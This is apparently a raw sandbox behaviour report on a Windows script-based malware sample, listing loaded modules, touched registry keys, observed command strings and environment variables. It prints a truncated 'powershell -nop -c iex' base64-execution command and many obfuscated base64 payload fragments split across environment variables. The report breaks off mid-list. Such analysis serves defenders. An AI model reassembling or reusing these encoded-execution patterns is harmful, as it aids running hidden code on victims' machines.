"%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ffe15a10000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffe24cc0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ffdfc020000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 7ffdf9670000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPCLIENT.DLL" at base 7ffdfe3b0000 "WScript.exe" loaded module "USER32.DLL" at base 7ffe26320000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffe261b0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCRRUN.DLL" at base 7ffdf9300000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ffe24f90000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 7ffdf6c50000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ffe18500000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ffe17000000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ffe171f0000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ffe24f90000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ffe24f90000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ffe17c70000 "cmd.exe" loaded module "KERNEL32" at base 7ffe261b0000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffe24f90000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffe24f90000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffe24f90000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffe25b70000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffe24f90000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffe24f90000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffe24f90000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7ffe261b0000 "cmd.exe" loaded module "NTDLL.DLL" at base 7ffe27870000 "cmd.exe" loaded module "KERNELBASE" at base 7ffe24f90000 "cmd.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ffe23ce0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffe24f90000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffe24f90000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffe24f90000 "powershell.exe" loaded module "KERNEL32" at base 7ffe261b0000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ffe261b0000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ffe26100000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffe1d460000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ffe26580000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffe23ce0000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffe18eb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffdfc950000 "powershell.exe" loaded module "USER32.DLL" at base 7ffe26320000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffe24f90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffe1d7c0000 "powershell.exe" loaded module "NTDLL" at base 7ffe27870000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffe265e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\3B9003E4F27D92E40668F0EFAD11E022\MSCORLIB.NI.DLL" at base 7ffdf9b20000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffe26e30000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "powershell.exe" loaded module "OLE32.DLL" at base 7ffe25d80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffe265e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffe27750000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\CE0FD4F5B50BAA17E7B80E4EE874AD11\SYSTEM.NI.DLL" at base 7ffdf5dc0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\990501E6199819806F01C8ECAC88BAAC\SYSTEM.CORE.NI.DLL" at base 7ffdf5330000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\86AF2F4F2745738837C95F24472C32CA\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffdeaf30000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffe23c50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffe25580000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLEAUT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\EA893D7E336A196C927C3F1251A1D1A9\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffde8eb0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffe265e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffe265e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffe27870000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "PSAPI.DLL" at base 7ffe262b0000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ffe26f50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffe25600000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffe17960000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffe24cc0000 "powershell.exe" loaded module "WLDP.DLL" at base 7ffe24480000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffe18eb0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPOAV.DLL" at base 7ffe16f80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ffdf9690000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ffdf9670000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ffdf92a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PWRSHSIP.DLL" at base 7ffe15a00000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FG139Z2V.DLL" at base 7ffdf9030000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\F4889FA032F8023FE280A54700D6D3A5\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffe15110000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\6287E09015A311A64C4FE0304818F8C3\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffde8d40000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffe24cc0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\2D1FF2AB3131DE6A507F22CCC53B273A\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffde8bd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\2A25B59872A72DA9B55F952AB1B0BC8B\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffde8a90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\F0078C8C05B31633E5966C5629E65602\SYSTEM.XML.NI.DLL" at base 7ffde81e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\VERSION.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\BF3D2E6042D943E0FEC9CCC0D72C8F3B\SYSTEM.DATA.NI.DLL" at base 7ffde7850000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffde74e0000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffe24570000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffe24f90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffde73b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\49750EA038273F75321E479EF1525D1E\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffe150a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\DD0ED795D7234A2AE4314DE052867161\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffde72d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffdf70e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffe19110000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffe23f30000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffe222c0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPCLIENT.DLL" at base 7ffdfe3b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffe261b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffe26100000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffe265e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\468FA5AE84991AAF4D90ECEE8788F024\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffde63b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\B4C34523C582146DEA3CA389E3487145\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffdf9350000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\9494EDA0C9AF503CB61FE450B5BA9C1A\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffde6170000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\3C82A5286B5172D5A68C8DF2E09C4C40\SYSTEM.DRAWING.NI.DLL" at base 7ffde5f70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\BEE998043EB1E9BADECD282A79540A5E\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 7ffde4e80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.M870D558A#\199F66BC1A6FE937DEB9E320CBCAACD7\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.NI.DLL" at base 7ffde4dd0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.IBAAE5ED9#\050AD0BE675A46EE5B5DF27C89799BB5\MICROSOFT.IIS.POWERSHELL.COMMANDS.NI.DLL" at base 7ffde4d60000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\URLMON.DLL" at base 0 "powershell.exe" loaded module "URLMON.DLL" at base 7ffe12c60000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ffe24f90000 "powershell.exe" loaded module "VIRTDISK.DLL" at base 7ffe112c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" at base 7ffde4c30000 "powershell.exe" loaded module "OLEAUT32" at base 7ffe27750000 "powershell.exe" loaded module "ADVAPI32" at base 7ffe26100000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\\WMINET_UTILS.DLL" at base 7ffe0f540000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ffe24f90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ffe17000000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ffe18500000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ffe171f0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ffe24f90000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ffe24f90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ffe17c70000 "powershell.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffe24f90000 "powershell.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffe24f90000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffe24f90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\WEBENGINE4.DLL" at base 7ffde4b80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\\WEBENGINE4.DLL" at base 7ffde4b80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.WEB\V4.0_4.0.0.0__B03F5F7F11D50A3A\WEBENGINE4.DLL" at base 0 "powershell.exe" loaded module "WEBENGINE4.DLL" at base 7ffde4b80000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.RUNTEB92AA12#\00D77E4F6209222F01FBA5B5EE335B0E\SYSTEM.RUNTIME.SERIALIZATION.NI.DLL" at base 7ffde4830000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\MSVCRT.DLL" at base 0 "powershell.exe" loaded module "MSVCRT.DLL" at base 7ffe26bd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7ffe23800000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "powershell.exe" loaded module "WS2_32.DLL" at base 7ffe25af0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffe24150000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NAPINSP.DLL" at base 7ffe15080000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PNRPNSP.DLL" at base 7ffe0f520000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINRNR.DLL" at base 7ffdf9320000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHBTH.DLL" at base 7ffe0b950000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NLANSP_C.DLL" at base 7ffdf8fe0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffe1be40000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffe1cff0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NET.HTTP\CBB406CB22D15D17F35C72A00F7B903C\SYSTEM.NET.HTTP.NI.DLL" at base 7ffde4780000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "powershell.exe" loaded module "RASAPI32.DLL" at base 7ffde4670000 "powershell.exe" loaded module "RASMAN.DLL" at base 7ffdf8df0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "powershell.exe" loaded module "WINHTTP.DLL" at base 7ffe1e760000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffe06c20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ffe23b50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ffe15370000 "powershell.exe" loaded module "IMM32.DLL" at base 7ffe25b70000 "powershell.exe" loaded module "COMCTL32.DLL" at base 7ffe00430000 "powershell.exe" loaded module "GDI32.DLL" at base 7ffe262800003f:T69a,"WScript.exe" touched "VB Script Language" (Path: "HKCU\CLSID\{B54F3741-5B07-11CF-A4B0-00AA004A55E8}") "WScript.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "WScript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "WScript.exe" touched "FileSystem Object" (Path: "HKCU\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\TREATAS") "WScript.exe" touched "Wbem Scripting Object Path" (Path: "HKCU\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\TREATAS") "WScript.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "WScript.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS") "WScript.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "WScript.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "WScript.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "WScript.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32")40:T484,Observed system executable string:"%WINDIR%\System32\cmd.exe" [Source: 00000000-00000524-00000C46-2895964992] Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\conhost.exe" [Source: 00000000-00000524-00000BC0-3021156585] Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\cmd.exe" [Source: 00000000-00000524-00000BC0-3023194144] Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00008436-00000C46-2867044282] Observed system executable string:"%WINDIR%\system32\cmd.exe /K "%PUBLIC%\FieldBuilding.bat"" [Source: 00000000-00008436-00000C46-2867044282] Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00003800-00000BC0-3029629507] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00003800-00000BC0-3029634000] Observed system executable string:"""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBas" [Source: 00000000-00003800-00000C46-11728052306]41:T2ec3,Process "cmd.exe" (UID: 00000000-00000524) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, PSModulePath, CommonProgramFiles, Path, PATHEXT, ProgramFiles" Process "cmd.exe" (UID: 00000000-00000524) was launched with missing environment variables: "PROMPT, PROCESSOR_ARCHITEW6432, EFC_5688" Process "cmd.exe" (UID: 00000000-00008436) was launched with new environment variables: "qvvq="C:", USERDNSDOMAIN="PREGjB55ZdRvb6m", pfew=".bat", dirr="%PUBLIC%\FieldBuilding.bat", irlx="\Users\Public\", PROMPT="$P$G", nohe="FieldBuilding", rety="p", xaxugtjhpzsjcrAbc1xaxugtjhpzsjcr="1", dhvx="x", olrn="n", nbdz="d"" Process "cmd.exe" (UID: 00000000-00008436) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "powershell.exe" (UID: 00000000-00005280) was launched with new environment variables: "dewnfljsmcfnzpl="AFEANgBhjkemhazxgpAE8AaAAxADkAVQ", lsbbmzghtvgvmit="emhazxgpwAYQBjAGUAIgBrAGkAdwBpAG", yleaofikgpugvqd="BhAHcATABpAG4jkemhazxgpAZQBzAHwA", djmwg="set", kcyvvqirfsxlusn="AGUAjkemhazxgpdwAtAE8AYgBqAGUAYw", glvsrpsrlfkxxya="PQAoACQAawBpAHcAaQAtAHIAZQBwAGjk", xckvpfoezparank="gpAHIAdwBoAGkAYQBzAHcAeQBvAGoAbg", cuuutklbzewohgs="ws", lgmusdreuannmro="AAbQBBADUAZgBFAEEAVwB4AG0ATjkemh", xrlqohlkyhinbaf="BTAEUAVgBwAEgAZwBJAHcAVgB4AFEjke", wtrujdlebuxvnkc="BuAGUjkemhazxgpAcwA9AGcAYwAgACQA", neojavqtkhohbha="emhazxgpEAbwBXADYAVgA5ADYAdwA2AE", lqolbepamfxgqiy="32", konnezvjfyrumgp="kemhazxgpFAAUgB4ACsAbgA1ADEASAAr", yjkevxrzsgcskce="MAdAA1AGgAVgBGAjkemhazxgpGoAOABG", zeidpbdjiyyvwhl="wAaQBrAGUAIAAiAjkemhazxgpDoAOgA6", ygkllfiqcwvdmtl="BsAEwAcABjkemhazxgpJAGYAUAA2AGQA", oviliqdncbfgjob="do", yrolgtwbtwrafdp="BGAHgAWQBjAGIAZgB3AGEjkemhazxgpA", oerztssdtnjiusa="rS", ckjgvcqpbjovibn="""C:\", vwamqkicaulzvkz="nd", drutanyhdpzlntg="AHQAjkemhazxgpNAArACQAcABhAHIAdA", rmrwmjdefyfznxi="EAQQBFAjkemhazxgpEEASgBWAFUAYQAy", nutwfctxnwymuzq="BjAGEAdABjAGgjkemhazxgpAewB9AH0A", qghufwtcozqxmpe="QAZgBBAHcAUwA2AGkAejkemhazxgpQB4", rjvnnunhrekldla="BlAEojkemhazxgpASwB1AGUAcQBvAHAA", bngdtlqvnuirxuo="MABHAHkAYQjkemhazxgpBZAEUANwBJAE", wtyscdubncseotk="LwAvADMAegBJACsAcwjkemhazxgpBjAE", uxtajbeklmetjdh="jkemhazxgpAHAAcABsAGUAKQApACkAfQ", uuqockkckgnvzmz="B3AEwAaQBuAGUAcwB8AD8AewAjkemhaz", gnburyfryfcsfvt="B0ACAASQBPAC4ATQBjkemhazxgplAG0A", mxrivulqdxvipya="BjkemhazxgpMAHgASQBhAEcAdgByAE8A", pmojssvemcbemtv="pCQAcABpAG4AZQBhAHAAcABsAGUAPQBO", zljmeencfhsndue="AkAF8ALgBTAHUAYgBzAHQAcgBpAG4jke", jwulw="s", kpqmcnryxigumiu="in", gthluruhmqowjej="kAbwBuAE0AbwBkAGUAXjkemhazxgpQA6", hwchlpddmbirllu="jkemhazxgpAGwAbwB1AGgATQBCAHMAVA", pozfuwiumjzsqzv="sANwBlAEUAQgBXAGUAagAzAEgAVwBVAj", rsowhajfapbyulo="gpAEkAdQA2AHgAbgBNAGQAZwBXADIAeQ", uwaeshphscaiaus="LwBrAGkAcABQAFEASAB2AHUARgBnAHjk", kbbtbmvtjjulaxm="KQA7AGkAZgAoACQAYQjkemhazxgpBwAH", zcggybtjfmbvyvc="oAQQBaAjkemhazxgpGMAWgBHAGUAVQBV", bidzcsgxyaznxwy="AGUANgA0AFMAdAByAGkAbgBnACgAJABh", gedpjohdcopfkhh="gpAEIARQArADcAUgBNAEsAbgBqADAATQ", zoqihmdmcqnufkd="UAeAAoAE4AZjkemhazxgpQB3AC0ATwBi", dusnwhtwlagdyvo="cgB0ADUAPQAoACQAcgBhAHjkemhazxgp", zpoyrbsqwsjiukx="IASQBlAjkemhazxgpEsAaQBLAFUAdgBL", 